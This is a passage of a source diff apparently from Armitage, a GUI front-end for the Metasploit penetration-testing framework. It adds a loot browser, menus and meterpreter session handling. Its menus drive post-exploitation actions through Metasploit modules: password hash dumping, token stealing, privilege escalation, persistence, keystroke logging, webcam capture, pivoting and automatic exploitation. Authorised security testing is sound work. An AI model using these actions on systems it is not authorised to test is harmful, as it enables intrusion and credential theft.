|
||||
|
||||
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots");
|
||||
}, \$image, \$title));
|
||||
}];
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
#
|
||||
# Loot browser (not yet complete... on hold until more post/ modules have loot)
|
||||
#
|
||||
|
||||
import table.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import ui.*;
|
||||
|
||||
sub updateLootModel {
|
||||
thread(lambda({
|
||||
[Thread yield];
|
||||
local('$loots $entry');
|
||||
[$model clear: 16];
|
||||
$loots = call($mclient, "db.loots")["loots"];
|
||||
foreach $entry ($loots) {
|
||||
$entry["date"] = rtime($entry["updated_at"] / 1000L);
|
||||
$entry["type"] = $entry["ltype"];
|
||||
[$model addEntry: $entry];
|
||||
}
|
||||
[$model fireListeners];
|
||||
}, \$model));
|
||||
}
|
||||
|
||||
sub downloadLoot {
|
||||
thread(lambda({
|
||||
local('$dest');
|
||||
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
|
||||
$dest = getFileProper(dataDirectory(), $type);
|
||||
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
|
||||
}, \$model, \$table, \$getme, \$type));
|
||||
}
|
||||
|
||||
sub _downloadLoot {
|
||||
local('$progress $entries $index $host $location $name $type $when $loot $path');
|
||||
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at', 'path')];
|
||||
$progress = [new ProgressMonitor: $frame, "Download Data", "", 0, size($entries)];
|
||||
foreach $index => $loot ($entries) {
|
||||
($host, $location, $name, $type, $when, $path) = $loot;
|
||||
[$progress setNote: $name];
|
||||
|
||||
# make the folder to store our downloads into
|
||||
local('$handle $data $file');
|
||||
if ($dtype eq "downloads") {
|
||||
$file = getFileProper($dest, $host, $path, $name);
|
||||
}
|
||||
else {
|
||||
$file = getFileProper($dest, $host, $name);
|
||||
}
|
||||
mkdir(getFileParent($file));
|
||||
|
||||
# dump the file contents there...
|
||||
$data = getFileContent($location);
|
||||
$handle = openf("> $+ $file");
|
||||
writeb($handle, $data);
|
||||
closef($handle);
|
||||
|
||||
[$progress setProgress: $index + 1];
|
||||
}
|
||||
[$progress close];
|
||||
showError("File(s) saved to:\n $+ $dest");
|
||||
[gotoFile([new java.io.File: $dest])];
|
||||
}
|
||||
|
||||
sub showLoot {
|
||||
thread(lambda(&_showLoot, \$model, \$table, \$getme));
|
||||
}
|
||||
|
||||
sub _postLoot {
|
||||
local('$host $location $name $type $when');
|
||||
($host, $location, $name, $type, $when) = $1;
|
||||
|
||||
[$2 append: "\c9
|
||||
#
|
||||
# $host $+ : $name
|
||||
#\n"];
|
||||
|
||||
if ("*binary*" iswm $type) {
|
||||
[$2 append: "\c4This is a binary file\n"];
|
||||
}
|
||||
else {
|
||||
[$2 append: getFileContent($location)];
|
||||
}
|
||||
}
|
||||
|
||||
sub _showLoot {
|
||||
local('$loot $entries $dialog $display $refresh');
|
||||
|
||||
$dialog = [new JPanel];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
$display = [new console.Display: $preferences];
|
||||
|
||||
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at')];
|
||||
|
||||
foreach $loot ($entries) {
|
||||
_postLoot($loot, $display);
|
||||
yield 10;
|
||||
}
|
||||
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({
|
||||
local('$r');
|
||||
$r = [[$display console] getVisibleRect];
|
||||
[$display setText: ""];
|
||||
thread(lambda({
|
||||
local('$loot');
|
||||
|
||||
foreach $loot ($entries) {
|
||||
_postLoot($loot, $display);
|
||||
yield 10;
|
||||
}
|
||||
|
||||
dispatchEvent(lambda({
|
||||
[[$display console] scrollRectToVisible: $r];
|
||||
}, \$display, \$r));
|
||||
}, \$entries, \$display, \$r));
|
||||
}, \$entries, \$display)];
|
||||
|
||||
[$dialog add: $display, [BorderLayout CENTER]];
|
||||
[[$display console] scrollRectToVisible: [new Rectangle: 0, 0, 0, 0]];
|
||||
[$dialog add: center($refresh), [BorderLayout SOUTH]];
|
||||
[$frame addTab: "View", $dialog, $null, $null];
|
||||
}
|
||||
|
||||
sub createLootBrowser {
|
||||
local('$table $model $panel $refresh $view $sorter $host $sync');
|
||||
|
||||
$model = [new GenericTableModel: @("host", "type", "info", "date"), "path", 16];
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$table = [new ATable: $model];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$sorter setComparator: 0, &compareHosts];
|
||||
[$sorter setComparator: 3, {
|
||||
return convertDate($1) <=> convertDate($2);
|
||||
}];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
$view = [new JButton: "View"];
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
|
||||
showLoot(\$model, \$table, $getme => "path");
|
||||
}
|
||||
}, \$model, \$table));
|
||||
|
||||
$sync = [new JButton: "Sync Files"];
|
||||
[$sync addActionListener: lambda({
|
||||
downloadLoot(\$model, \$table, $getme => "path", $type => "loots");
|
||||
}, \$model, \$table)];
|
||||
|
||||
[$view addActionListener: lambda({
|
||||
showLoot(\$model, \$table, $getme => "path");
|
||||
}, \$model, \$table)];
|
||||
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({
|
||||
updateLootModel(\$model);
|
||||
}, \$model)];
|
||||
|
||||
updateLootModel(\$model);
|
||||
|
||||
if ($client is $mclient) {
|
||||
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
|
||||
}
|
||||
else {
|
||||
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
|
||||
}
|
||||
|
||||
[$frame addTab: "Loot", $panel, $null];
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
import msf.*;
|
||||
import java.awt.*;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import javax.swing.*;
|
||||
import javax.imageio.*;
|
||||
import ui.*;
|
||||
|
||||
sub host_selected_items {
|
||||
local('$sid $session $i $s $h $o');
|
||||
|
||||
host_attack_items($1, $2);
|
||||
|
||||
setupMenu($1, "host_top", $2);
|
||||
|
||||
if ($2[0] in %hosts && 'sessions' in %hosts[$2[0]]) {
|
||||
foreach $sid => $session (%hosts[$2[0]]['sessions']) {
|
||||
if ($session["type"] eq "meterpreter") {
|
||||
$i = menu($1, "Meterpreter $sid", $sid);
|
||||
showMeterpreterMenu($i, \$session, \$sid);
|
||||
}
|
||||
else if ($session["type"] eq "shell") {
|
||||
$i = menu($1, "Shell $sid", $sid);
|
||||
showShellMenu($i, \$session, \$sid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
item($1, "Services", 'v', lambda({ createServiceBrowser($hosts) }, $hosts => $2));
|
||||
item($1, "Scan", 'c', lambda({ launch_msf_scans(join(", ", $hosts)); }, $hosts => $2));
|
||||
|
||||
setupMenu($1, "host_bottom", $2);
|
||||
|
||||
separator($1);
|
||||
|
||||
$h = menu($1, "Host", 'H');
|
||||
|
||||
$o = menu($h, "Operating System", 'O');
|
||||
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
|
||||
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
|
||||
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));
|
||||
item($o, "NetBSD", 'N', setHostValueFunction($2, "os_name", "NetBSD"));
|
||||
item($o, "Mac OS X", 'M', setHostValueFunction($2, "os_name", "Apple Mac OS X"));
|
||||
item($o, "OpenBSD", 'O', setHostValueFunction($2, "os_name", "OpenBSD"));
|
||||
item($o, "Printer", 'P', setHostValueFunction($2, "os_name", "Printer"));
|
||||
item($o, "Solaris", 'S', setHostValueFunction($2, "os_name", "Solaris"));
|
||||
item($o, "Unknown", 'U', setHostValueFunction($2, "os_name", ""));
|
||||
item($o, "VMware", 'V', setHostValueFunction($2, "os_name", "VMware"));
|
||||
$i = menu($o, "Windows", 'W');
|
||||
item($i, '1. 95/98/2000', '1', setHostValueFunction($2, "os_name", "Micosoft Windows", "os_flavor", "2000"));
|
||||
item($i, '2. XP/2003', '2', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "XP"));
|
||||
item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista"));
|
||||
|
||||
item($h, "Remove Host", 'R', clearHostFunction($2));
|
||||
}
|
||||
|
||||
sub view_items {
|
||||
# make it so we can recreate this menu if necessary...
|
||||
setf('&recreate_view_items', lambda({ [$parent removeAll]; view_items($parent); }, $parent => $1));
|
||||
|
||||
item($1, 'Console', 'C', { thread(&createConsoleTab); });
|
||||
|
||||
if ($mclient !is $client && $mclient !is $null) {
|
||||
item($1, 'Event Log', 'E', &createEventLogTab);
|
||||
}
|
||||
|
||||
setupMenu($1, "view_top", @());
|
||||
|
||||
separator($1);
|
||||
|
||||
item($1, 'Credentials', 'r', { thread(&createCredentialsTab); });
|
||||
item($1, 'Downloads', 'D', { thread(&createDownloadBrowser); });
|
||||
item($1, 'Jobs', 'J', { thread(&createJobsTab); });
|
||||
item($1, 'Loot', 'L', { thread(&createLootBrowser) });
|
||||
|
||||
setupMenu($1, "view_middle", @());
|
||||
|
||||
separator($1);
|
||||
|
||||
local('$t');
|
||||
$t = menu($1, 'Reporting', 'R');
|
||||
|
||||
item($t, 'Activity Logs', 'A', gotoFile([new File: dataDirectory()]));
|
||||
item($t, 'Export Data', 'E', {
|
||||
thread(&generateArtifacts);
|
||||
});
|
||||
|
||||
setupMenu($1, "view_bottom", @());
|
||||
|
||||
}
|
||||
|
||||
sub armitage_items {
|
||||
local('$m');
|
||||
|
||||
item($1, 'Preferences', 'P', &createPreferencesTab);
|
||||
|
||||
separator($1);
|
||||
|
||||
dynmenu($1, 'Set Target View', 'S', {
|
||||
local('$t1 $t2');
|
||||
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
||||
$t1 = 'Graph View *';
|
||||
$t2 = 'Table View';
|
||||
}
|
||||
else {
|
||||
$t1 = 'Graph View';
|
||||
$t2 = 'Table View *';
|
||||
}
|
||||
|
||||
item($1, $t1, 'G', {
|
||||
[$preferences setProperty: "armitage.string.target_view", "graph"];
|
||||
createDashboard();
|
||||
savePreferences();
|
||||
});
|
||||
|
||||
item($1, $t2, 'T', {
|
||||
[$preferences setProperty: "armitage.string.target_view", "table"];
|
||||
createDashboard();
|
||||
savePreferences();
|
||||
});
|
||||
});
|
||||
|
||||
dynmenu($1, 'Set Exploit Rank', 'E', {
|
||||
local('$f @ranks $rank');
|
||||
$f = {
|
||||
[$preferences setProperty: "armitage.required_exploit_rank.string", $rank];
|
||||
savePreferences();
|
||||
showError("Updated minimum exploit rank.");
|
||||
};
|
||||
|
||||
@ranks = @("Excellent", "Great", "Good", "Normal", "Poor");
|
||||
|
||||
foreach $rank (@ranks) {
|
||||
if ([$preferences getProperty: "armitage.required_exploit_rank.string", "great"] eq lc($rank)) {
|
||||
item($1, "$rank *", charAt($rank, 0), lambda($f, $rank => lc($rank)));
|
||||
}
|
||||
else {
|
||||
item($1, $rank, charAt($rank, 0), lambda($f, $rank => lc($rank)));
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
setupMenu($1, "main_top", @());
|
||||
|
||||
separator($1);
|
||||
|
||||
item($1, 'SOCKS Proxy...', 'r', &manage_proxy_server);
|
||||
|
||||
$m = menu($1, 'Listeners', 'L');
|
||||
item($m, 'Bind (connect to)', 'B', &connect_for_shellz);
|
||||
item($m, 'Reverse (wait for)', 'R', &listen_for_shellz);
|
||||
|
||||
setupMenu($1, "main_middle", @());
|
||||
|
||||
separator($1);
|
||||
|
||||
item($1, 'Exit', 'x', {
|
||||
if ($msfrpc_handle !is $null) {
|
||||
closef($msfrpc_handle);
|
||||
}
|
||||
|
||||
[System exit: 0];
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
sub main_attack_items {
|
||||
local('$k');
|
||||
item($1, "Find Attacks", 'A', {
|
||||
thread({
|
||||
findAttacks("p", min_rank());
|
||||
});
|
||||
});
|
||||
|
||||
item($1, "Hail Mary", 'H', {
|
||||
thread({
|
||||
smarter_autopwn("p", min_rank());
|
||||
});
|
||||
});
|
||||
|
||||
setupMenu($1, "attacks", @());
|
||||
}
|
||||
|
||||
sub gotoURL {
|
||||
return lambda({
|
||||
[[Desktop getDesktop] browse: $url];
|
||||
}, $url => [[new URL: $1] toURI]);
|
||||
}
|
||||
|
||||
sub help_items {
|
||||
item($1, "Homepage", 'H', gotoURL("http://www.fastandeasyhacking.com/"));
|
||||
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
|
||||
item($1, "Issue Tracker", 'I', gotoURL("http://code.google.com/p/armitage/issues/list"));
|
||||
item($1, "User Survey", 'U', gotoURL("https://docs.google.com/spreadsheet/viewform?formkey=dEdSNGdJY2Z1LVloWXBnX2o4SkdGZHc6MQ"));
|
||||
setupMenu($1, "help", @());
|
||||
separator($1);
|
||||
item($1, "About", 'A', {
|
||||
local('$dialog $handle $label');
|
||||
$dialog = dialog("About", 320, 200);
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
|
||||
$label = [new JLabel: [new ImageIcon: [ImageIO read: resource("resources/armitage-logo.gif")]]];
|
||||
|
||||
[$label setBackground: [Color black]];
|
||||
[$label setForeground: [Color gray]];
|
||||
[$label setOpaque: 1];
|
||||
|
||||
$handle = [SleepUtils getIOHandle: resource("resources/about.html"), $null];
|
||||
[$label setText: readb($handle, -1)];
|
||||
closef($handle);
|
||||
|
||||
[$dialog add: $label, [BorderLayout CENTER]];
|
||||
[$dialog pack];
|
||||
[$dialog setLocationRelativeTo: $null];
|
||||
[$dialog setVisible: 1];
|
||||
});
|
||||
}
|
||||
|
||||
sub init_menus {
|
||||
local('$top');
|
||||
$top = [$1 getJMenuBar];
|
||||
|
||||
dynmenu($top, "$TITLE", charAt($TITLE, 0), &armitage_items);
|
||||
dynmenu($top, "View", 'V', &view_items);
|
||||
dynmenu($top, "Hosts", 'H', &host_items);
|
||||
dynmenu($top, "Attacks", 'A', &main_attack_items);
|
||||
dynmenu($top, "Workspaces", 'W', &client_workspace_items);
|
||||
dynmenu($top, "Help", 'H', &help_items);
|
||||
|
||||
# setup some global keyboard shortcuts...
|
||||
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
|
||||
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
|
||||
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
|
||||
[$frame bindKey: "Ctrl+O", { thread(&createPreferencesTab); }];
|
||||
[$frame bindKey: "Ctrl+T", { [$frame snapActiveTab]; }];
|
||||
[$frame bindKey: "Ctrl+Left", { [$frame previousTab]; }];
|
||||
[$frame bindKey: "Ctrl+Right", { [$frame nextTab]; }];
|
||||
setupWorkspaceShortcuts(workspaces());
|
||||
|
||||
cmd_safe("show exploits", {
|
||||
local('$line $os $type $id $rank $name $k $date $exploit');
|
||||
|
||||
foreach $line (split("\n", $3)) {
|
||||
local('@ranks');
|
||||
@ranks = @('normal', 'good', 'great', 'excellent');
|
||||
while (size(@ranks) > 0 && @ranks[0] ne min_rank()) {
|
||||
@ranks = sublist(@ranks, 1);
|
||||
}
|
||||
|
||||
if ($line ismatch '\s+((.*?)\/.*?\/.*?)\s+(\d\d\d\d-\d\d-\d\d)\s+(' . join('|', @ranks) . ')\s+(.*?)') {
|
||||
($exploit, $os, $date, $rank, $name) = matched();
|
||||
%exploits[$exploit] = %(
|
||||
name => $name,
|
||||
os => $os,
|
||||
date => parseDate('yyyy-MM-dd', $date),
|
||||
rank => $rank,
|
||||
rankScore => rankScore($rank)
|
||||
);
|
||||
}
|
||||
}
|
||||
warn("Remote Exploits Synced");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,361 @@
|
||||
|
||||
#
|
||||
# this code maintains the client threads (one per meterpreter session) and
|
||||
# the data structures for each meterpreter session.
|
||||
#
|
||||
|
||||
import armitage.*;
|
||||
import console.*;
|
||||
import msf.*;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
global('%sessions %handlers $handler');
|
||||
|
||||
sub session {
|
||||
if ($1 !in %sessions && $mclient !is $null) {
|
||||
%sessions[$1] = [new MeterpreterSession: $client, $1, iff($client !is $mclient)];
|
||||
[%sessions[$1] addListener: lambda(&parseMeterpreter)];
|
||||
}
|
||||
|
||||
return %sessions[$1];
|
||||
}
|
||||
|
||||
sub oneTimeShow {
|
||||
%handlers[$1] = lambda({
|
||||
if ($0 eq "begin") {
|
||||
showError($2);
|
||||
%handlers[$command] = $null;
|
||||
}
|
||||
}, $command => $1);
|
||||
}
|
||||
|
||||
# m_cmd("session", "command here")
|
||||
sub m_cmd {
|
||||
if ($mclient is $null) {
|
||||
warn("Dropping: " . @_ . " - collab check not complete!");
|
||||
return;
|
||||
}
|
||||
|
||||
local('$command $handler');
|
||||
$command = split('\s+', [$2 trim])[0];
|
||||
$handler = %handlers[$command];
|
||||
|
||||
if ($handler !is $null) {
|
||||
[$handler execute: $1, [$2 trim]];
|
||||
}
|
||||
else {
|
||||
$handler = {};
|
||||
}
|
||||
|
||||
[session($1) addCommand: $handler, "$2 $+ \n"];
|
||||
}
|
||||
|
||||
sub parseMeterpreter {
|
||||
local('@temp $command $line $sid $token $response $data $command');
|
||||
|
||||
# called with: sid, token, response
|
||||
($sid, $token, $response) = @_;
|
||||
|
||||
if ($token isa ^MeterpreterClient) {
|
||||
return;
|
||||
}
|
||||
|
||||
$response = convertAll($3);
|
||||
$data = $response['data'];
|
||||
|
||||
if ("*uploaded*:*->*" iswm $data) {
|
||||
# this is a hack to force the file browser to refresh when a file is uploaded
|
||||
m_cmd($sid, "ls");
|
||||
}
|
||||
else if ("[-]*Unknown command: *" iswm $data) {
|
||||
%handlers["list_tokens"] = $null;
|
||||
%handlers["getuid"] = $null;
|
||||
m_cmd($sid, "load stdapi");
|
||||
m_cmd($sid, "load priv");
|
||||
showError("Loading stdapi. Try command again");
|
||||
return;
|
||||
}
|
||||
|
||||
$handler = $token;
|
||||
|
||||
if ($handler !is $null && $0 eq "commandComplete") {
|
||||
local('$h');
|
||||
$h = $handler;
|
||||
[$h begin: $1, $data];
|
||||
@temp = split("\n", $data);
|
||||
foreach $line (@temp) {
|
||||
[$h update: $1, $line];
|
||||
}
|
||||
[$h end: $1, $data];
|
||||
}
|
||||
else if ($handler !is $null && $0 eq "commandTimeout") {
|
||||
[$handler timeout: $1, $data];
|
||||
}
|
||||
}
|
||||
|
||||
sub interpretMeterpreterCommand {
|
||||
if ([$1 getActionCommand] eq "shell") {
|
||||
createShellTab($sid);
|
||||
}
|
||||
else if ([$1 getActionCommand] eq "screenshot") {
|
||||
[createScreenshotViewer($sid)];
|
||||
}
|
||||
else if ([$1 getActionCommand] eq "webcam_snap") {
|
||||
[createWebcamViewer($sid)];
|
||||
}
|
||||
}
|
||||
|
||||
#
|
||||
# this code creates and managers a meterpreter tab.
|
||||
#
|
||||
sub createMeterpreterTab {
|
||||
local('$session $result $thread $console $old');
|
||||
|
||||
$session = session($1);
|
||||
|
||||
# set up a meterpreter console window
|
||||
$console = [new Console: $preferences];
|
||||
setupConsoleStyle($console);
|
||||
logCheck($console, sessionToHost($1), "meterpreter_ $+ $1");
|
||||
[$console setPopupMenu: lambda(&meterpreterPopup, $session => sessionData($1), $sid => $1)];
|
||||
|
||||
# tab completion for Meterpreter... :D
|
||||
[new TabCompletion: $console, $client, $1, "session.meterpreter_tabs"];
|
||||
|
||||
# set up a listener to read input from the console and dump output back to it.
|
||||
if ("*Windows*" !iswm sessionToOS($1) || ($REMOTE && $mclient is $client)) {
|
||||
[new MeterpreterClient: $console, $session, $null];
|
||||
}
|
||||
else {
|
||||
[new MeterpreterClient: $console, $session, newInstance(^java.awt.event.ActionListener, lambda(&interpretMeterpreterCommand, $sid => $1))];
|
||||
}
|
||||
|
||||
[$frame addTab: "Meterpreter $1", $console, $null, "Meterpreter " . sessionToHost($1)];
|
||||
}
|
||||
|
||||
sub meterpreterPopup {
|
||||
local('$popup');
|
||||
$popup = [new JPopupMenu];
|
||||
|
||||
showMeterpreterMenu($popup, \$session, \$sid);
|
||||
|
||||
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
||||
}
|
||||
|
||||
sub showMeterpreterMenu {
|
||||
local('$j $platform');
|
||||
|
||||
$platform = lc($session['platform']);
|
||||
|
||||
setupMenu($1, "meterpreter_top", @($sid));
|
||||
|
||||
if ("*win*" iswm $platform) {
|
||||
$j = menu($1, "Access", 'A');
|
||||
|
||||
item($j, "Migrate Now!", 'M', lambda({
|
||||
oneTimeShow("run");
|
||||
m_cmd($sid, "run migrate -f");
|
||||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Escalate Privileges", 'E', lambda({
|
||||
showPostModules($sid, "*escalate*");
|
||||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Steal Token" , "S", lambda({
|
||||
m_cmd($sid, "load incognito");
|
||||
stealToken($sid);
|
||||
}, $sid => "$sid"));
|
||||
|
||||
local('$h');
|
||||
$h = menu($j, "Dump Hashes", "D");
|
||||
|
||||
item($h, "lsass method", "l", lambda({
|
||||
m_cmd($sid, "hashdump");
|
||||
}, $sid => "$sid"));
|
||||
|
||||
|
||||
item($h, "registry method", "r", lambda({
|
||||
thread(lambda({
|
||||
launch_dialog("Dump Hashes", "post", "windows/gather/smart_hashdump", 1, $null, %(SESSION => $sid, GETSYSTEM => "1"));
|
||||
}, \$sid));
|
||||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Persist", 'P', lambda({
|
||||
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Pass Session", 'S', lambda({
|
||||
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||
}, $sid => "$sid"));
|
||||
}
|
||||
|
||||
$j = menu($1, "Interact", 'I');
|
||||
|
||||
if ("*win*" iswm $platform || sessionToOS($sid) eq "Microsoft Windows") {
|
||||
item($j, "Command Shell", 'C', lambda({ createShellTab($sid); }, $sid => "$sid"));
|
||||
}
|
||||
else {
|
||||
#item($j, "Command Shell", 'C', lambda({ createCommandTab($sid, "/bin/bash"); }, $sid => "$sid"));
|
||||
}
|
||||
|
||||
item($j, "Meterpreter Shell", 'M', lambda({ createMeterpreterTab($sid); }, $sid => "$sid"));
|
||||
|
||||
if ("*win*" iswm $platform) {
|
||||
item($j, "Desktop (VNC)", 'D', lambda({
|
||||
local('$display');
|
||||
$display = rand(9) . rand(9);
|
||||
%handlers["run"] = lambda({
|
||||
if ($0 eq "begin") {
|
||||
local('$a');
|
||||
$a = iff($REMOTE, $MY_ADDRESS, "127.0.0.1");
|
||||
showError("$2 $+ \nConnect VNC viewer to $a $+ :59 $+ $display (display $display $+ )\n\nIf your connection is refused, you may need to migrate to a \nnew process to set up VNC.");
|
||||
%handlers["run"] = $null;
|
||||
}
|
||||
}, \$display);
|
||||
|
||||
if ($REMOTE) {
|
||||
m_cmd($sid, "run vnc -V -t -O -v 59 $+ $display -p " . randomPort() . " -i");
|
||||
}
|
||||
else {
|
||||
m_cmd($sid, "run vnc -V -t -v 59 $+ $display -p " . randomPort() . " -i");
|
||||
}
|
||||
}, $sid => "$sid"));
|
||||
}
|
||||
|
||||
$j = menu($1, "Explore", 'E');
|
||||
item($j, "Browse Files", 'B', lambda({ createFileBrowser($sid, $platform); }, $sid => "$sid", \$platform));
|
||||
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
|
||||
if ("*win*" iswm $platform) {
|
||||
item($j, "Log Keystrokes", 'K', lambda({
|
||||
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
|
||||
}, $sid => "$sid"));
|
||||
}
|
||||
|
||||
item($j, "Screenshot", 'S', createScreenshotViewer("$sid"));
|
||||
|
||||
if ("*win*" iswm $platform) {
|
||||
item($j, "Webcam Shot", 'W', createWebcamViewer("$sid"));
|
||||
}
|
||||
|
||||
separator($j);
|
||||
|
||||
item($j, "Post Modules", 'M', lambda({ showPostModules($sid); }, $sid => "$sid"));
|
||||
|
||||
$j = menu($1, "Pivoting", 'P');
|
||||
item($j, "Setup...", 'A', setupPivotDialog("$sid"));
|
||||
item($j, "Remove", 'R', lambda({ killPivots($sid, $session); }, \$session, $sid => "$sid"));
|
||||
|
||||
if ("*win*" iswm $platform) {
|
||||
item($1, "ARP Scan...", 'A', setupArpScanDialog("$sid"));
|
||||
}
|
||||
else {
|
||||
item($1, "Ping Sweep...", 'P', setupPingSweepDialog("$sid"));
|
||||
}
|
||||
|
||||
setupMenu($1, "meterpreter_bottom", @($sid));
|
||||
|
||||
separator($1);
|
||||
|
||||
item($1, "Kill", 'K', lambda({ cmd_safe("sessions -k $sid"); }, $sid => "$sid"));
|
||||
}
|
||||
|
||||
sub launch_msf_scans {
|
||||
local('@modules $1 $hosts');
|
||||
|
||||
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
|
||||
|
||||
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
|
||||
|
||||
thread(lambda({
|
||||
local('$scanner $index $console %ports %discover $port %o $temp');
|
||||
%ports = ohash();
|
||||
%discover = ohash();
|
||||
setMissPolicy(%ports, { return @(); });
|
||||
setMissPolicy(%discover, { return @(); });
|
||||
|
||||
if ($hosts !is $null) {
|
||||
elog("launched msf scans at: $hosts");
|
||||
|
||||
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
|
||||
[$console addSessionListener: lambda({
|
||||
local('$text $host $port $hosts $modules $module @c');
|
||||
|
||||
foreach $text (split("\n", $2)) {
|
||||
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
|
||||
($host, $port) = matched();
|
||||
push(%discover[$port], $host);
|
||||
}
|
||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
|
||||
$start = $null;
|
||||
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
|
||||
|
||||
foreach $port => $hosts (%discover) {
|
||||
if ($port in %ports) {
|
||||
$modules = %ports[$port];
|
||||
foreach $module ($modules) {
|
||||
@c = @("use $module");
|
||||
push(@c, "set RHOSTS " . join(", ", $hosts));
|
||||
push(@c, "set RPORT $port");
|
||||
push(@c, "set THREADS 24");
|
||||
push(@c, "run -j");
|
||||
|
||||
push(@launch, @c);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
|
||||
if (size(@launch) == 0) {
|
||||
$time = (ticks() - $time) / 1000.0;
|
||||
|
||||
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
|
||||
}
|
||||
else {
|
||||
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
|
||||
thread(lambda({
|
||||
local('$command');
|
||||
foreach $command ($commands) {
|
||||
[$console sendString: "$command $+ \n"];
|
||||
yield 250;
|
||||
}
|
||||
}, \$console, $commands => shift(@launch)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
|
||||
|
||||
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
|
||||
|
||||
# build up a list of scan ports
|
||||
foreach $index => $scanner (@modules) {
|
||||
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
|
||||
%o = call($client, "module.options", "auxiliary", $scanner);
|
||||
if ('RPORT' in %o) {
|
||||
$port = %o['RPORT']['default'];
|
||||
push(%ports[$port], $scanner);
|
||||
}
|
||||
|
||||
safetyCheck();
|
||||
}
|
||||
}
|
||||
|
||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||
# for the default ports
|
||||
